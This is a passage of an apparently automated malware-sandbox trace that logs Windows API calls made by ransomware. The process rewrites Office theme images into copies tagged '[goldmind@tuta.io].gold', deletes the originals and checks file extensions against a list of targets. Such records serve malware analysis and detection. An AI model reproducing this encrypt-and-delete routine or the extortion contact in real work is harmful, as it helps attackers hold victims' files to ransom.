(in: hFile=0x190, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0041.964] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.964] WriteFile (in: hFile=0x190, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.964] SetEndOfFile (hFile=0x190) returned 1 [0041.964] CloseHandle (hObject=0x190) returned 1 [0041.964] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.964] SetEndOfFile (hFile=0x200) returned 1 [0041.965] CloseHandle (hObject=0x200) returned 1 [0041.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.965] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0041.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.966] lstrlenW (lpString=".doc") returned 4 [0041.966] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.966] lstrlenW (lpString=".docx") returned 5 [0041.966] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.966] lstrlenW (lpString=".pdf") returned 4 [0041.966] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.966] lstrlenW (lpString=".xls") returned 4 [0041.966] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.966] lstrlenW (lpString=".xlsx") returned 5 [0041.966] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.966] lstrlenW (lpString=".ppt") returned 4 [0041.966] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.966] lstrlenW (lpString=".zip") returned 4 [0041.966] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.966] lstrlenW (lpString=".rar") returned 4 [0041.966] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.966] lstrlenW (lpString=".bz2") returned 4 [0041.966] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.966] lstrlenW (lpString=".7z") returned 3 [0041.966] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.966] lstrlenW (lpString=".dbf") returned 4 [0041.966] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.966] lstrlenW (lpString=".1cd") returned 4 [0041.966] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.966] lstrlenW (lpString=".jpg") returned 4 [0041.966] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.966] lstrlenW (lpString=".doc") returned 4 [0041.966] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.966] lstrlenW (lpString=".docx") returned 5 [0041.966] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.966] lstrlenW (lpString=".pdf") returned 4 [0041.966] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.966] lstrlenW (lpString=".xls") returned 4 [0041.966] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.966] lstrlenW (lpString=".xlsx") returned 5 [0041.966] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.966] lstrlenW (lpString=".ppt") returned 4 [0041.966] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.966] lstrlenW (lpString=".zip") returned 4 [0041.966] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.966] lstrlenW (lpString=".rar") returned 4 [0041.966] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.966] lstrlenW (lpString=".bz2") returned 4 [0041.966] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.966] lstrlenW (lpString=".7z") returned 3 [0041.966] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.967] lstrlenW (lpString=".dbf") returned 4 [0041.967] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.967] lstrlenW (lpString=".1cd") returned 4 [0041.967] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0041.967] lstrlenW (lpString=".jpg") returned 4 [0041.967] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.967] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.967] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.967] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1379) returned 1 [0041.967] CloseHandle (hObject=0x200) returned 1 [0041.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0041.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.967] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.967] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0041.971] GetLastError () returned 0x0 [0041.971] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x563, lpOverlapped=0x0) returned 1 [0041.976] WriteFile (in: hFile=0x190, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x570, lpOverlapped=0x0) returned 1 [0041.977] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.977] WriteFile (in: hFile=0x190, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.977] SetEndOfFile (hFile=0x190) returned 1 [0041.977] CloseHandle (hObject=0x190) returned 1 [0041.977] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.977] SetEndOfFile (hFile=0x200) returned 1 [0041.978] CloseHandle (hObject=0x200) returned 1 [0041.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.978] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0041.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.978] lstrlenW (lpString=".doc") returned 4 [0041.978] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.978] lstrlenW (lpString=".docx") returned 5 [0041.978] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.978] lstrlenW (lpString=".pdf") returned 4 [0041.978] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.979] lstrlenW (lpString=".xls") returned 4 [0041.979] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.979] lstrlenW (lpString=".xlsx") returned 5 [0041.979] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.979] lstrlenW (lpString=".ppt") returned 4 [0041.979] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.979] lstrlenW (lpString=".zip") returned 4 [0041.979] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.979] lstrlenW (lpString=".rar") returned 4 [0041.979] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.979] lstrlenW (lpString=".bz2") returned 4 [0041.979] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.979] lstrlenW (lpString=".7z") returned 3 [0041.979] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.979] lstrlenW (lpString=".dbf") returned 4 [0041.979] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.979] lstrlenW (lpString=".1cd") returned 4 [0041.979] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.979] lstrlenW (lpString=".jpg") returned 4 [0041.979] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.979] lstrlenW (lpString=".doc") returned 4 [0041.979] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.979] lstrlenW (lpString=".docx") returned 5 [0041.979] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.979] lstrlenW (lpString=".pdf") returned 4 [0041.979] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.979] lstrlenW (lpString=".xls") returned 4 [0041.979] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.979] lstrlenW (lpString=".xlsx") returned 5 [0041.979] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.979] lstrlenW (lpString=".ppt") returned 4 [0041.979] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.979] lstrlenW (lpString=".zip") returned 4 [0041.979] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.979] lstrlenW (lpString=".rar") returned 4 [0041.979] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.979] lstrlenW (lpString=".bz2") returned 4 [0041.979] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.979] lstrlenW (lpString=".7z") returned 3 [0041.979] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.979] lstrlenW (lpString=".dbf") returned 4 [0041.979] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.979] lstrlenW (lpString=".1cd") returned 4 [0041.979] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0041.980] lstrlenW (lpString=".jpg") returned 4 [0041.980] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.980] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.980] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.980] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=48115) returned 1 [0041.980] CloseHandle (hObject=0x200) returned 1 [0041.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0041.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.980] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.980] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0041.981] GetLastError () returned 0x0 [0041.981] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0042.211] WriteFile (in: hFile=0x190, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0042.212] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0042.213] WriteFile (in: hFile=0x190, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.213] SetEndOfFile (hFile=0x190) returned 1 [0042.213] CloseHandle (hObject=0x190) returned 1 [0042.213] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0042.213] SetEndOfFile (hFile=0x200) returned 1 [0042.214] CloseHandle (hObject=0x200) returned 1 [0042.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.214] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0042.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.214] lstrlenW (lpString=".doc") returned 4 [0042.214] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.214] lstrlenW (lpString=".docx") returned 5 [0042.214] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.214] lstrlenW (lpString=".pdf") returned 4 [0042.214] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.214] lstrlenW (lpString=".xls") returned 4 [0042.214] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.215] lstrlenW (lpString=".xlsx") returned 5 [0042.215] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.215] lstrlenW (lpString=".ppt") returned 4 [0042.215] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.215] lstrlenW (lpString=".zip") returned 4 [0042.215] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.215] lstrlenW (lpString=".rar") returned 4 [0042.215] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.215] lstrlenW (lpString=".bz2") returned 4 [0042.215] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.215] lstrlenW (lpString=".7z") returned 3 [0042.215] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.215] lstrlenW (lpString=".dbf") returned 4 [0042.215] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.215] lstrlenW (lpString=".1cd") returned 4 [0042.215] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.215] lstrlenW (lpString=".jpg") returned 4 [0042.215] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.215] lstrlenW (lpString=".doc") returned 4 [0042.215] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.215] lstrlenW (lpString=".docx") returned 5 [0042.215] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.215] lstrlenW (lpString=".pdf") returned 4 [0042.215] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.215] lstrlenW (lpString=".xls") returned 4 [0042.215] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.215] lstrlenW (lpString=".xlsx") returned 5 [0042.215] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.215] lstrlenW (lpString=".ppt") returned 4 [0042.215] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.215] lstrlenW (lpString=".zip") returned 4 [0042.215] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.215] lstrlenW (lpString=".rar") returned 4 [0042.215] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.215] lstrlenW (lpString=".bz2") returned 4 [0042.215] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.215] lstrlenW (lpString=".7z") returned 3 [0042.215] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.215] lstrlenW (lpString=".dbf") returned 4 [0042.215] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.215] lstrlenW (lpString=".1cd") returned 4 [0042.215] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0042.215] lstrlenW (lpString=".jpg") returned 4 [0042.215] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.216] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.216] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.641] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1666) returned 1 [0042.641] CloseHandle (hObject=0x19c) returned 1 [0042.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0042.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.641] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0042.641] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0042.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0042.965] GetLastError () returned 0x0 [0042.965] ReadFile (in: hFile=0x19c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x682, lpOverlapped=0x0) returned 1 [0042.966] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2eefc9c, 